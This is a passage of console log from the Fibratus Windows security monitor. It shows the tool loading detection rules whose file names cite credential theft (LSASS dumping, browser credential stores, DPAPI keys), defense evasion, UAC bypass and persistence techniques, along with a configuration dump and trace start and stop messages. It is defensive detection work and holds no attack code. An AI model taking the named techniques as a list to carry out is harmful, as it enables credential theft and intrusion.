C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:41:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:41:44+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:41:44+01:00 level=info msg=bootstrapping with pid 14124. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:41:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 to=>[] use-template=>true content-type=>text/html enabled=>false] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-image=>true stack-enrichment=>true min-buffers=>16 enable-thread=>true buffer-size=>512 max-buffers=>36 enable-mem=>false enable-vamap=>true enable-threadpool=>false enable-fileio=>true enable-net=>true enable-registry=>true enable-handle=>false flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text max-backups=>15 max-size=>100 log-stdout=>true] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ flush-period=>1s servers=>[http://127.0.0.1:9200] enabled=>false index-name=>fibratus timeout=>5s bulk-workers=>1 healthcheck-timeout=>5s template-name=>fibratus healthcheck-interval=>10s trace-log=>false sniff=>false gzip-compression=>false healthcheck=>true] http=>[ enabled=>false method=>POST endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s] amqp=>[ tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient routing-key=>fibratus url=>amqp://localhost:5672 durable=>false exchange-type=>topic vhost=>/ timeout=>5s exchange=>fibratus enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] fastscan=>true skip-registry=>false scan-timeout=>10s skip-files=>false skip-allocs=>false enabled=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:41:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:41:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:43:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:43:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:43:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:43:15+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:43:15+01:00 